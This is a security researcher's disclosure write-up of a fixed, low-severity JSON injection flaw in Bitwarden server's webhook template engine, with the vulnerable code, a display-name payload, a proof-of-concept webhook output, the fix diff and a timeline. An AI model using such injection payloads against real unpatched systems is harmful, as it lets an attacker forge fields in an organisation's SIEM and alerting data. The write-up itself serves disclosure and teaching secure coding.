cd ../blog
cat /var/log/exploits/bitwarden-webhook-json-injection.md

# Bitwarden: Org Member Can Inject JSON into Webhook/SIEM Payloads via Display Name

LOW
May 31, 2026
[5 min read]
BitwardenBug BountyJSON InjectionWebhooksHackerOneCVE Pending

Bitwarden: JSON Injection into Webhook/SIEM Payloads via Display Name

A display name is a string. Concatenated into a JSON template, it's a payload.

Sixth writeup in my Bitwarden series. The integration template engine built webhook JSON by substituting user-controlled values into a string template *without escaping them* — so an org member could set their display name to JSON metacharacters and inject arbitrary top-level fields into the payloads Bitwarden sends to SIEMs, Slack, Teams, and Datadog.

  • Vendor: Bitwarden
  • Product: bitwarden/server
  • Severity: Low (CVSS 3.5)
  • CVE: Pending — requesting one for this issue
  • Report: HackerOne #3648343
  • Fix: PR #7593 — commit `a26afd18`
  • Fixed in: server release `2026.5.0` (2026-05-29) — Cloud + self-hosted

//TL;DR

IntegrationTemplateProcessor.ReplaceTokens() fills tokens like #ActingUserName# and #OrganizationName# into an admin-defined JSON template by calling .ToString() on each value and pasting it in raw — no JSON escaping. Set your display name to ","injected_key":"pwned","severity":"low and the rendered webhook gains two new fields the template never declared.

One honest caveat up front: at report time the integrations feature wasn't exposed in the product, so reaching the code path needed manual database setup and the bug wasn't exploitable on Cloud as-is. It was accepted as a *latent* issue — the substitution routine would be vulnerable the moment the feature shipped — and Bitwarden fixed it preemptively. That's why it lands at Low.


//The vulnerable code

src/Core/.../Utilities/IntegrationTemplateProcessor.cs:

csharp
return TokenRegex().Replace(template, match =>
{
    var propertyName = match.Groups[1].Value;
    var property = type.GetProperty(propertyName);
    if (property == null)
        return match.Value;

    return property.GetValue(values)?.ToString() ?? string.Empty;
    // ^ raw insertion straight into the JSON template — no escaping
});

The injectable tokens map to user- or admin-controlled strings: #ActingUserName# and #UserName# (member display names, up to 50 chars), #GroupName#, #OrganizationName#.

#ActingUserName# is the one a low-privileged attacker controls for *organization* events. For an org-owned cipher, EventService.LogCipherEventAsync sets UserId to null and stamps ActingUserId with the authenticated caller:

csharp
return new EventMessage(_currentContext)
{
    OrganizationId = cipher.OrganizationId,
    UserId = cipher.OrganizationId.HasValue ? null : cipher.UserId,
    Type = type,
    ActingUserId = _currentContext?.UserId,   // the acting member
    // ...
};

The resolver then looks up ActingUserIdActingUserName, i.e. the acting member's display name. Any member who triggers an event becomes the actor, so any member can drive the injection.


//The exploit

1. Set the display name to a JSON payload via PUT /api/accounts/profile (42 chars, within the 50-char cap):

text
","injected_key":"pwned","severity":"low

2. Trigger an org event — create a vault item in the org. That fires Cipher_Created through the pipeline (API → queue → Events service → ReplaceTokens() → webhook handler → HTTP POST).

3. The admin's template renders with the break-out:

json
// template
{"user": "#ActingUserName#", "event": "#Type#", "org": "#OrganizationName#"}

// sent to the webhook
{"user": "","injected_key":"pwned","severity":"low", "event": "1100", "org": "Attacker Corp"}

The display name closed the user string and added two new top-level fields. Confirmed end-to-end against a local server (SQL Server + RabbitMQ):

text
RESULT: WEBHOOK RECEIVED WITH INJECTED JSON

  payload received:
  {
    "user": "",
    "injected_key": "pwned",
    "severity": "low",
    "event": "1100",
    "org": "Attacker Corp"
  }

  injected fields (NOT in the template): injected_key, severity

//Impact

The injected fields are indistinguishable from legitimate template fields once they reach the downstream consumer — and the consumers are exactly the systems an org trusts to be authoritative:

  • SIEM (Splunk, ELK). Injected keys get indexed as real event data; a planted "severity":"low" can suppress alerts for the attacker's own activity.
  • Ticketing (Jira, ServiceNow). Injected fields can flip priority or category on auto-created tickets.
  • Datadog / dashboards. Poisoned event metadata.
  • Automation. Injected fields can trigger or alter automated incident/remediation flows.

It's a Low-severity bug, but the blast radius is interesting: a single 50-character profile field corrupts an org's audit and alerting pipeline, in systems outside Bitwarden's trust boundary.


//The fix

Commit `a26afd18` (PR #7593), shipped in 2026.5.0. Serialize each value so JSON metacharacters are escaped, then strip the quotes Serialize adds:

diff
+ using System.Text.Json;

- return property.GetValue(values)?.ToString() ?? string.Empty;
+ var value = property.GetValue(values)?.ToString() ?? string.Empty;
+ return JsonSerializer.Serialize(value).Trim('"'); // Escape value and remove surrounding quotes

Now " becomes \", the value stays inside its string, and the structure holds. Tests landed in the same PR. (Building the JSON programmatically with JsonNode/JsonSerializer would remove the string-template sink entirely — the stronger long-term shape.)


//Disclosure timeline

All times UTC.

  • 2026-04-03 — Report submitted to HackerOne (#3648343) with a local end-to-end PoC.
  • 2026-04-06 — Triaged and kept valid as a latent issue (the integrations feature wasn't user-exposed yet; AC raised to High). Sent to engineering.
  • 2026-05-12 — Fix merged to main: PR #7593, commit a26afd18.
  • 2026-05-29 — Shipped in server release 2026.5.0; report resolved with bounty.

//Takeaways

  • Any string concatenated into JSON is an injection sink — the same class as SQL built by string-pasting. A template plus .ToString() is structurally identical to "... " + userInput + " ...". The fix is to *serialize*, never to *interpolate*.
  • User-controlled fields travel further than the app that owns them. A display name here flows out to SIEMs, Slack, and Datadog — systems that trust the payload's structure. When you reason about the blast radius of an un-escaped value, count every downstream consumer, not just your own app.

Thanks to @mandreko-bitwarden and the Bitwarden security team for the thoughtful triage and the preemptive fix.

@thesanjok

[EOF]